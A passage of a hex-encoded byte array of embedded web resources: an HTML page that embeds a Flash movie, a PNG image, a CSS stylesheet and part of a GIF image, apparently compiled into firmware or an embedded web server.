0x74,0x69,0x6F,0x6E,0x73,0x3C,0x2F,0x54,0x49,0x54,0x4C,
0x45,0x3E,0x0D,0x0A,0x09,0x3C,0x2F,0x48,0x45,0x41,0x44,
0x3E,0x0D,0x0A,0x09,0x3C,0x42,0x4F,0x44,0x59,0x3E,0x0D,
0x0A,0x09,0x09,0x3C,0x4F,0x42,0x4A,0x45,0x43,0x54,0x20,
0x63,0x6C,0x61,0x73,0x73,0x69,0x64,0x3D,0x22,0x63,0x6C,
0x73,0x69,0x64,0x3A,0x44,0x32,0x37,0x43,0x44,0x42,0x36,
0x45,0x2D,0x41,0x45,0x36,0x44,0x2D,0x31,0x31,0x63,0x66,
0x2D,0x39,0x36,0x42,0x38,0x2D,0x34,0x34,0x34,0x35,0x35,
0x33,0x35,0x34,0x30,0x30,0x30,0x30,0x22,0x20,0x63,0x6F,
0x64,0x65,0x62,0x61,0x73,0x65,0x3D,0x22,0x68,0x74,0x74,
0x70,0x3A,0x2F,0x2F,0x64,0x6F,0x77,0x6E,0x6C,0x6F,0x61,
0x64,0x2E,0x6D,0x61,0x63,0x72,0x6F,0x6D,0x65,0x64,0x69,
0x61,0x2E,0x63,0x6F,0x6D,0x2F,0x70,0x75,0x62,0x2F,0x73,
0x68,0x6F,0x63,0x6B,0x77,0x61,0x76,0x65,0x2F,0x63,0x61,
0x62,0x73,0x2F,0x66,0x6C,0x61,0x73,0x68,0x2F,0x73,0x77,
0x66,0x6C,0x61,0x73,0x68,0x2E,0x63,0x61,0x62,0x23,0x76,
0x65,0x72,0x73,0x69,0x6F,0x6E,0x3D,0x36,0x2C,0x30,0x2C,
0x30,0x2C,0x30,0x22,0x0D,0x0A,0x09,0x09,0x09,0x57,0x49,
0x44,0x54,0x48,0x3D,0x22,0x31,0x30,0x30,0x25,0x22,0x20,
0x48,0x45,0x49,0x47,0x48,0x54,0x3D,0x22,0x31,0x30,0x30,
0x25,0x22,0x20,0x69,0x64,0x3D,0x22,0x6D,0x61,0x69,0x6E,
0x22,0x20,0x41,0x4C,0x49,0x47,0x4E,0x3D,0x22,0x6D,0x69,
0x64,0x64,0x6C,0x65,0x22,0x20,0x56,0x49,0x45,0x57,0x41,
0x53,0x54,0x45,0x58,0x54,0x3E,0x0D,0x0A,0x09,0x09,0x09,
0x3C,0x50,0x41,0x52,0x41,0x4D,0x20,0x4E,0x41,0x4D,0x45,
0x3D,0x22,0x6D,0x6F,0x76,0x69,0x65,0x22,0x20,0x56,0x41,
0x4C,0x55,0x45,0x3D,0x22,0x66,0x6D,0x61,0x73,0x74,0x65,
0x72,0x2E,0x73,0x77,0x66,0x22,0x3E,0x0D,0x0A,0x09,0x09,
0x09,0x3C,0x50,0x41,0x52,0x41,0x4D,0x20,0x4E,0x41,0x4D,
0x45,0x3D,0x22,0x71,0x75,0x61,0x6C,0x69,0x74,0x79,0x22,
0x20,0x56,0x41,0x4C,0x55,0x45,0x3D,0x22,0x68,0x69,0x67,
0x68,0x22,0x3E,0x0D,0x0A,0x09,0x09,0x09,0x3C,0x50,0x41,
0x52,0x41,0x4D,0x20,0x4E,0x41,0x4D,0x45,0x3D,0x22,0x62,
0x67,0x63,0x6F,0x6C,0x6F,0x72,0x22,0x20,0x56,0x41,0x4C,
0x55,0x45,0x3D,0x22,0x23,0x46,0x46,0x46,0x46,0x46,0x46,
0x22,0x3E,0x0D,0x0A,0x09,0x09,0x3C,0x2F,0x4F,0x42,0x4A,
0x45,0x43,0x54,0x3E,0x0D,0x0A,0x09,0x3C,0x2F,0x42,0x4F,
0x44,0x59,0x3E,0x0D,0x0A,0x3C,0x2F,0x48,0x54,0x4D,0x4C,
0x3E,0x0D,0x0A,0x40,0x1D,0x00,0x00,0x89,0x50,0x4E,0x47,
0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,
0x52,0x00,0x00,0x01,0xD4,0x00,0x00,0x00,0xA4,0x08,0x02,
0x00,0x00,0x00,0xA1,0x10,0x48,0x4E,0x00,0x00,0x00,0x06,
0x74,0x52,0x4E,0x53,0x00,0xFF,0x00,0xFF,0x00,0xFF,0x37,
0x58,0x1B,0x7D,0x00,0x00,0x00,0x09,0x70,0x48,0x59,0x73,
0x00,0x00,0x0E,0xC4,0x00,0x00,0x0E,0xC4,0x01,0x95,0x2B,
0x0E,0x1B,0x00,0x00,0x1C,0xE0,0x49,0x44,0x41,0x54,0x78,
0x9C,0xED,0x9D,0x4F,0x68,0xDC,0x58,0x9E,0xC7,0x7F,0x3D,
0x59,0x02,0x1D,0xC6,0x58,0xC1,0xD0,0x4D,0x4C,0x07,0x2B,
0x2C,0x18,0x76,0xA0,0x89,0x1C,0x9F,0xA6,0x2F,0x91,0xC9,
0x35,0x1E,0x2B,0x97,0x1E,0x92,0x8B,0xE5,0x4B,0x85,0xD9,
0xCB,0x94,0xA9,0xB9,0x74,0x33,0x4B,0x64,0x06,0xFA,0x14,
0x6F,0x97,0x2F,0x0D,0xAE,0xCB,0x54,0x5D,0x12,0xBA,0x2F,
0x29,0xB7,0x7D,0xDC,0x90,0xAA,0x4B,0x72,0xD9,0x4E,0xAA,
0x76,0x60,0xA1,0xCD,0x2E,0xA3,0xDA,0x04,0x9B,0x6D,0xC6,
0x8C,0x6A,0x1D,0x12,0x08,0x13,0x6A,0x0F,0xAF,0x53,0x53,
0x2D,0x95,0xA4,0x9F,0x9E,0x9E,0x4A,0x55,0xF6,0xF7,0x43,
0x2E,0x29,0xEB,0xCF,0x93,0xF4,0xF4,0xD5,0xEF,0xFD,0xDE,
0xEF,0xF7,0x7B,0xEF,0xF5,0x7A,0x3D,0x02,0x00,0x00,0x30,
0x5A,0x7E,0x96,0x77,0x03,0x00,0x00,0xE0,0x34,0x02,0xF1,
0x05,0x00,0x80,0x1C,0x80,0xF8,0x02,0x00,0x40,0x0E,0x40,
0x7C,0x01,0x00,0x20,0x07,0x20,0xBE,0x00,0x00,0x90,0x03,
0x10,0x5F,0x00,0x00,0xC8,0x01,0x88,0x2F,0x00,0x00,0xE4,
0x00,0xC4,0x17,0x00,0x00,0x72,0x00,0xE2,0x0B,0x00,0x00,
0x39,0x00,0xF1,0x05,0x00,0x80,0x1C,0x80,0xF8,0x02,0x00,
0x40,0x0E,0x40,0x7C,0x01,0x00,0x20,0x07,0xFE,0x21,0xEF,
0x06,0xA8,0x60,0xAF,0x42,0x44,0x74,0xED,0x16,0xBD,0xFF,
0xF3,0xBC,0x9B,0x02,0x00,0x00,0x2C,0xDE,0x9B,0xEC,0xAA,
0x66,0xFB,0x4F,0xA9,0xEA,0xD0,0xD1,0x01,0x11,0xD1,0xB9,
0x29,0xBA,0x76,0x13,0x12,0x0C,0x00,0x98,0x08,0x26,0x56,
0x7C,0x8F,0x0E,0xE9,0x9B,0x4D,0x6A,0x35,0xFC,0xBF,0x0B,
0x09,0xBE,0x5E,0xC8,0xA1,0x49,0x00,0x00,0xC0,0x66,0x32,
0xC5,0x77,0xAF,0x42,0x0F,0xEF,0xD3,0xAB,0xE3,0xD0,0x0D,
0x66,0x66,0x69,0xB9,0x40,0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3F,0x43,0x30,0x1F,0xFA,
0x93,0x65,0xBA,0x5E,0x80,0x04,0x03,0x00,0x38,0x4C,0xBE,
0xF8,0x1E,0x56,0xE8,0xA0,0xA2,0xEC,0x68,0x1C,0x3F,0x43,
0x74,0xDD,0x35,0x48,0x30,0x00,0x80,0xC1,0xE4,0x8B,0xEF,
0xDB,0x97,0xF4,0xC3,0x3D,0x05,0x81,0x0D,0x89,0xFC,0x0C,
0xB1,0x70,0x26,0x06,0x01,0x00,0xA7,0x98,0xC9,0x17,0x5F,
0xC1,0x9B,0x43,0x3A,0xA8,0xD0,0x91,0x54,0x76,0xB2,0xB4,
0x9F,0x21,0x9A,0x73,0x53,0x74,0xED,0x26,0x5D,0xBB,0x05,
0x09,0x06,0x00,0x04,0x39,0x29,0xE2,0x2B,0x90,0x90,0xE0,
0xF4,0x7E,0x86,0x68,0x20,0xC1,0x00,0x80,0x61,0x9C,0x2C,
0xF1,0x15,0x30,0x25,0x58,0xAD,0x9F,0x21,0x9A,0x73,0x53,
0x74,0xBD,0x40,0xD7,0x90,0x1D,0x07,0x00,0xF8,0x91,0x93,
0x28,0xBE,0x82,0xD7,0xFB,0xF4,0x7C,0x93,0x8E,0x87,0x65,
0x27,0x67,0xE4,0x67,0x88,0x66,0x7E,0x91,0x6C,0x07,0x13,
0x71,0x00,0x00,0xC1,0xC9,0x15,0x5F,0xC1,0xF1,0x53,0x3A,
0xDC,0xFE,0x89,0x04,0xCF,0x2C,0xD3,0xC5,0x52,0x86,0x7E,
0x86,0x20,0x58,0x47,0x0E,0x00,0x10,0xE0,0xA4,0x8B,0xAF,
0x40,0x48,0xF0,0xDB,0x63,0xFA,0xE8,0x77,0x34,0x75,0x25,
0x6A,0xCB,0xD7,0x2F,0xA9,0xEA,0x8C,0x7A,0x1D,0x39,0x00,
0xC0,0xE9,0xE3,0x74,0x88,0x2F,0x93,0x87,0xF7,0x69,0xAF,
0x82,0xF5,0xEA,0x01,0x00,0x23,0x60,0x9C,0x56,0x2F,0x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xE5,0x25,0x92,0x5D,0x71,0xBE,0xF7,
0x78,0xB7,0xF7,0xD9,0x32,0x6B,0x56,0xED,0xB3,0xE5,0x5E,
0x6B,0xC8,0x94,0xC8,0x29,0x44,0x61,0x70,0x18,0xC7,0x30,
0x1C,0x9C,0x4E,0x49,0x4A,0x46,0x3D,0xD8,0xB2,0xAC,0x44,
0xD1,0x39,0x59,0x98,0x63,0x61,0x93,0x2D,0x59,0x5F,0xBB,
0xC0,0x30,0x0C,0xE6,0x1D,0xC8,0xA2,0x19,0x43,0x23,0xB4,
0xFA,0xA8,0x4A,0x89,0x8E,0xB5,0x3D,0x23,0x7A,0x26,0xE7,
0xF8,0x43,0xA7,0x58,0x07,0xC9,0xE8,0xB3,0x1D,0x7D,0xF7,
0x24,0x90,0x15,0x5F,0xC1,0xE3,0xDD,0x5E,0xD1,0x44,0x3C,
0x03,0x13,0xCE,0xEB,0x34,0x74,0x06,0x3C,0x08,0xC7,0x48,
0x09,0x9B,0x50,0x56,0xD8,0x5A,0x3E,0x61,0xD1,0x11,0xD1,
0x78,0x9E,0xA7,0x56,0x7F,0x45,0x99,0xDA,0xD8,0xF3,0x36,
0x1A,0x8D,0x2C,0x46,0xAF,0x49,0xDF,0x5E,0x85,0x8F,0x40,
0xD7,0xF5,0x58,0xCD,0xEA,0xF1,0x62,0x6C,0xA3,0x29,0x97,
0xCB,0xB1,0x96,0x41,0x98,0xF8,0x8E,0x38,0x16,0x88,0x0F,
0xF3,0xEE,0x25,0x25,0x9D,0xF8,0xF6,0xDE,0x25,0x5C,0x04,
0x25,0xF8,0x34,0xE5,0x4D,0x30,0x51,0x18,0x1C,0xC6,0x91,
0x86,0x44,0x19,0x01,0x43,0x51,0xA5,0x41,0xC5,0x62,0x31,
0x4D,0x38,0xBA,0x92,0x17,0x69,0x68,0x32,0x45,0x04,0x22,
0x12,0x36,0xFD,0x79,0x05,0x22,0xC5,0x4E,0xE2,0xDA,0x45,
0x42,0x60,0x9A,0x53,0x8B,0xC0,0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,0x7D,0x68,0x69,0xB4,0x5A,
0xAD,0x16,0xFB,0x64,0x4D,0xD3,0x4C,0x5A,0x93,0xB7,0xD3,
0xE9,0xF4,0x6F,0x5D,0xEC,0xC6,0xFD,0x07,0x37,0x82,0x0A,
0xA8,0x4A,0xC5,0x17,0x9C,0x02,0x9A,0xCD,0xA6,0xE7,0x79,
0xC1,0xC9,0x43,0x61,0x99,0x8E,0xA6,0x58,0x75,0xB7,0xDB,
0x15,0xB1,0xBD,0x3E,0x69,0xD0,0x34,0xCD,0x30,0x0C,0x66,
0xFD,0x97,0x34,0xA7,0x16,0x11,0xBE,0xBE,0x3F,0x19,0x86,
0x21,0x1A,0xA0,0xB6,0x64,0x70,0x90,0x76,0xBB,0x2D,0x72,
0x49,0x06,0x7F,0x14,0xA7,0x56,0x7E,0xF6,0x76,0xBB,0xED,
0xBA,0xEE,0xE0,0xE3,0xCE,0xE8,0x44,0xA3,0xA1,0xD9,0x6C,
0x0E,0x7D,0x76,0x22,0x49,0x67,0xC4,0x25,0xA7,0x21,0xBE,
0x00,0x00,0x90,0x03,0xD9,0x2F,0x1D,0x0F,0x00,0x00,0x20,
0x00,0xC4,0x17,0x00,0x00,0x72,0x00,0xE2,0x0B,0x00,0x00,
0x39,0x00,0xF1,0x05,0x00,0x80,0x1C,0x80,0xF8,0x02,0x00,
0x40,0x0E,0x40,0x7C,0x01,0x00,0x20,0x07,0x20,0xBE,0x00,
0x00,0x90,0x03,0x10,0x5F,0x00,0x00,0xC8,0x01,0x88,0x2F,
0x00,0x00,0xE4,0x00,0xC4,0x17,0x00,0x00,0x72,0x00,0xE2,
0x0B,0x00,0x00,0x39,0x00,0xF1,0x05,0x00,0x80,0x1C,0x80,
0xF8,0x02,0x00,0x40,0x0E,0x40,0x7C,0x01,0x00,0x20,0x07,
0x20,0xBE,0x00,0x00,0x90,0x03,0x10,0x5F,0x00,0x00,0xC8,
0x01,0x88,0x2F,0x00,0x00,0xE4,0x00,0xC4,0x17,0x00,0x00,
0x72,0x00,0xE2,0x0B,0x00,0x00,0x39,0x00,0xF1,0x05,0x00,
0x80,0x1C,0x80,0xF8,0x02,0x00,0x40,0x0E,0x40,0x7C,0x01,
0x00,0x20,0x07,0x20,0xBE,0x00,0x00,0x90,0x03,0x10,0x5F,
0x00,0x00,0xC8,0x01,0x88,0x2F,0x00,0x00,0xE4,0x00,0xC4,
0x17,0x00,0x00,0x72,0x00,0xE2,0x0B,0x00,0x00,0x39,0x00,
0xF1,0x05,0x00,0x80,0x1C,0x80,0xF8,0x02,0x00,0x40,0x0E,
0x40,0x7C,0x01,0x00,0x20,0x07,0x20,0xBE,0x00,0x00,0x90,
0x03,0x10,0x5F,0x00,0x00,0xC8,0x01,0x88,0x2F,0x00,0x00,
0xE4,0x00,0xC4,0x17,0x00,0x00,0x72,0x00,0xE2,0x0B,0x00,
0x00,0x39,0x00,0xF1,0x05,0x00,0x80,0x1C,0x80,0xF8,0x02,
0x00,0x40,0x0E,0x40,0x7C,0x01,0x00,0x20,0x07,0x20,0xBE,
0x00,0x00,0x90,0x03,0xFF,0x0F,0xCC,0xF9,0xFB,0x31,0x2C,
0x32,0xFA,0x45,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,
0xAE,0x42,0x60,0x82,0x9B,0x04,0x00,0x00,0x2F,0x2A,0x2A,
0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,
0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,
0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,
0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,
0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,
0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,
0x2A,0x2A,0x2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49,0x47,0x48,0x54,0x3A,0x20,0x73,0x69,0x6C,0x76,0x65,
0x72,0x20,0x73,0x6F,0x6C,0x69,0x64,0x3B,0x0D,0x0A,0x20,
0x20,0x20,0x20,0x42,0x4F,0x52,0x44,0x45,0x52,0x2D,0x54,
0x4F,0x50,0x3A,0x20,0x73,0x69,0x6C,0x76,0x65,0x72,0x20,
0x73,0x6F,0x6C,0x69,0x64,0x3B,0x0D,0x0A,0x20,0x20,0x20,
0x20,0x42,0x4F,0x52,0x44,0x45,0x52,0x2D,0x42,0x4F,0x54,
0x54,0x4F,0x4D,0x3A,0x20,0x73,0x69,0x6C,0x76,0x65,0x72,
0x20,0x73,0x6F,0x6C,0x69,0x64,0x3B,0x0D,0x0A,0x20,0x20,
0x20,0x20,0x42,0x4F,0x52,0x44,0x45,0x52,0x2D,0x4C,0x45,
0x46,0x54,0x3A,0x20,0x73,0x69,0x6C,0x76,0x65,0x72,0x20,
0x73,0x6F,0x6C,0x69,0x64,0x3B,0x0D,0x0A,0x20,0x20,0x20,
0x20,0x50,0x41,0x44,0x44,0x49,0x4E,0x47,0x2D,0x4C,0x45,
0x46,0x54,0x3A,0x20,0x32,0x6D,0x6D,0x3B,0x0D,0x0A,0x20,
0x20,0x20,0x20,0x46,0x4F,0x4E,0x54,0x2D,0x53,0x49,0x5A,
0x45,0x3A,0x20,0x31,0x31,0x70,0x78,0x3B,0x0D,0x0A,0x20,
0x20,0x20,0x20,0x4D,0x41,0x52,0x47,0x49,0x4E,0x3A,0x20,
0x31,0x6D,0x6D,0x3B,0x0D,0x0A,0x20,0x20,0x20,0x20,0x50,
0x41,0x44,0x44,0x49,0x4E,0x47,0x2D,0x54,0x4F,0x50,0x3A,
0x20,0x32,0x6D,0x6D,0x3B,0x0D,0x0A,0x20,0x20,0x20,0x20,
0x46,0x4F,0x4E,0x54,0x2D,0x46,0x41,0x4D,0x49,0x4C,0x59,
0x3A,0x20,0x41,0x72,0x69,0x61,0x6C,0x3B,0x0D,0x0A,0x20,
0x20,0x20,0x20,0x42,0x41,0x43,0x4B,0x47,0x52,0x4F,0x55,
0x4E,0x44,0x2D,0x43,0x4F,0x4C,0x4F,0x52,0x3A,0x20,0x77,
0x68,0x69,0x74,0x65,0x0D,0x0A,0x7D,0x0D,0x0A,0x48,0x31,
0x0D,0x0A,0x7B,0x0D,0x0A,0x20,0x20,0x20,0x20,0x46,0x4F,
0x4E,0x54,0x2D,0x53,0x49,0x5A,0x45,0x3A,0x20,0x32,0x34,
0x70,0x74,0x3B,0x0D,0x0A,0x7D,0x0D,0x0A,0x48,0x32,0x0D,
0x0A,0x7B,0x0D,0x0A,0x20,0x20,0x20,0x20,0x46,0x4F,0x4E,
0x54,0x2D,0x53,0x49,0x5A,0x45,0x3A,0x20,0x31,0x32,0x70,
0x74,0x3B,0x0D,0x0A,0x7D,0x0D,0x0A,0x50,0x0D,0x0A,0x7B,
0x0D,0x0A,0x20,0x20,0x20,0x20,0x50,0x41,0x44,0x44,0x49,
0x4E,0x47,0x2D,0x54,0x4F,0x50,0x3A,0x20,0x30,0x6D,0x6D,
0x3B,0x0D,0x0A,0x20,0x20,0x20,0x20,0x50,0x41,0x44,0x44,
0x49,0x4E,0x47,0x2D,0x42,0x4F,0x54,0x54,0x4F,0x4D,0x3A,
0x20,0x30,0x6D,0x6D,0x3B,0x0D,0x0A,0x20,0x20,0x20,0x20,
0x4D,0x41,0x52,0x47,0x49,0x4E,0x2D,0x54,0x4F,0x50,0x3A,
0x20,0x33,0x6D,0x6D,0x3B,0x0D,0x0A,0x20,0x20,0x20,0x20,
0x4D,0x41,0x52,0x47,0x49,0x4E,0x2D,0x42,0x4F,0x54,0x54,
0x4F,0x4D,0x3A,0x20,0x31,0x6D,0x6D,0x3B,0x0D,0x0A,0x7D,
0x0D,0x0A,0x55,0x4C,0x0D,0x0A,0x7B,0x0D,0x0A,0x20,0x20,
0x20,0x20,0x4D,0x41,0x52,0x47,0x49,0x4E,0x2D,0x54,0x4F,
0x50,0x3A,0x20,0x31,0x6D,0x6D,0x3B,0x0D,0x0A,0x20,0x20,
0x20,0x20,0x4D,0x41,0x52,0x47,0x49,0x4E,0x2D,0x42,0x4F,
0x54,0x54,0x4F,0x4D,0x3A,0x20,0x31,0x6D,0x6D,0x3B,0x0D,
0x0A,0x7D,0x0D,0x0A,0x4C,0x49,0x0D,0x0A,0x7B,0x0D,0x0A,
0x20,0x20,0x20,0x20,0x4D,0x41,0x52,0x47,0x49,0x4E,0x2D,
0x54,0x4F,0x50,0x3A,0x20,0x30,0x6D,0x6D,0x3B,0x0D,0x0A,
0x20,0x20,0x20,0x20,0x4D,0x41,0x52,0x47,0x49,0x4E,0x2D,
0x42,0x4F,0x54,0x54,0x4F,0x4D,0x3A,0x20,0x30,0x6D,0x6D,
0x3B,0x0D,0x0A,0x7D,0x0D,0x0A,0x41,0x3A,0x68,0x6F,0x76,
0x65,0x72,0x0D,0x0A,0x7B,0x0D,0x0A,0x20,0x20,0x20,0x20,
0x43,0x4F,0x4C,0x4F,0x52,0x3A,0x20,0x69,0x6E,0x64,0x69,
0x61,0x6E,0x72,0x65,0x64,0x3B,0x0D,0x0A,0x20,0x20,0x20,
0x20,0x54,0x45,0x58,0x54,0x2D,0x44,0x45,0x43,0x4F,0x52,
0x41,0x54,0x49,0x4F,0x4E,0x3A,0x20,0x6E,0x6F,0x6E,0x65,
0x0D,0x0A,0x7D,0x0D,0x0A,0x41,0x0D,0x0A,0x7B,0x0D,0x0A,
0x20,0x20,0x20,0x20,0x43,0x4F,0x4C,0x4F,0x52,0x3A,0x20,
0x6D,0x65,0x64,0x69,0x75,0x6D,0x62,0x6C,0x75,0x65,0x3B,
0x0D,0x0A,0x20,0x20,0x20,0x20,0x54,0x45,0x58,0x54,0x2D,
0x44,0x45,0x43,0x4F,0x52,0x41,0x54,0x49,0x4F,0x4E,0x3A,
0x20,0x6E,0x6F,0x6E,0x65,0x0D,0x0A,0x7D,0x0D,0x0A,0x25,
0x09,0x00,0x00,0x47,0x49,0x46,0x38,0x39,0x61,0x46,0x02,
0x36,0x00,0xF7,0x00,0x00,0x43,0x63,0x7C,0x44,0x67,0x83,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x21,0xF9,0x04,0x01,0x00,0x00,0x03,0x00,
0x2C,0x00,0x00,0x00,0x00,0x46,0x02,0x36,0x00,0x40,0x08,
0xFF,0x00,0x01,0x08,0x1C,0x48,0xB0,0xA0,0xC1,0x83,0x08,
0x13,0x2A,0x04,0x30,0xA0,0xA1,0xC3,0x87,0x10,0x23,0x4A,
0x9C,0x48,0xB1,0xA2,0xC5,0x8B,0x18,0x33,0x6A,0xDC,0xC8,
0x31,0xE3,0xC2,0x8F,0x20,0x43,0x8A,0x1C,0x49,0xB2,0xA4,
0xC9,0x93,0x28,0x53,0xAA,0x5C,0xC9,0xB2,0xA5,0xCB,0x97,
0x30,0x63,0x16,0x7C,0x28,0x33,0x64,0xC7,0x9A,0x1F,0x23,
0xE2,0xCC,0x49,0x73,0xA7,0xCF,0x9F,0x40,0x83,0x0A,0x1D,
0x4A,0xB4,0xA8,0x4A,0x01,0x48,0x93,0x2A,0x5D,0xCA,0xB4,
0xA9,0xD3,0xA6,0x06,0x7B,0x1A,0x4D,0x48,0x71,0xAA,0x4E,
0xAB,0x52,0x09,0x3E,0xDD,0x9A,0x72,0xAB,0xD7,0x95,0x5E,
0xC3,0x0A,0x00,0x2B,0xB6,0xAC,0x59,0xA8,0x06,0xCF,0xAA,
0xE5,0x9A,0x76,0xAD,0xDB,0xA5,0x07,0xDF,0xCA,0xFD,0x2A,
0x72,0xAE,0xDC,0xA8,0x0E,0x6D,0x76,0xBC,0xCA,0x73,0x22,
0xD6,0xAC,0x44,0x21,0xC6,0xB5,0x3B,0x56,0x21,0x61,0xA4,
0x26,0xCD,0x06,0x58,0xBC,0xB8,0x6C,0xE2,0xC3,0x73,0xC9,
0xD2,0x3D,0x09,0x59,0xED,0x60,0xB6,0x2C,0xC3,0x92,0xD4,
0xFC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0x5A,0x58,0x9F,0x26,0x30,0xAF,
0xA7,0x2B,0x24,0x3B,0x7B,0x69,0xBD,0xCA,0x5A,0xF6,0xB2,
0x4F,0x94,0x9E,0x66,0x49,0x85,0xD9,0xCE,0x7A,0xD6,0x20,
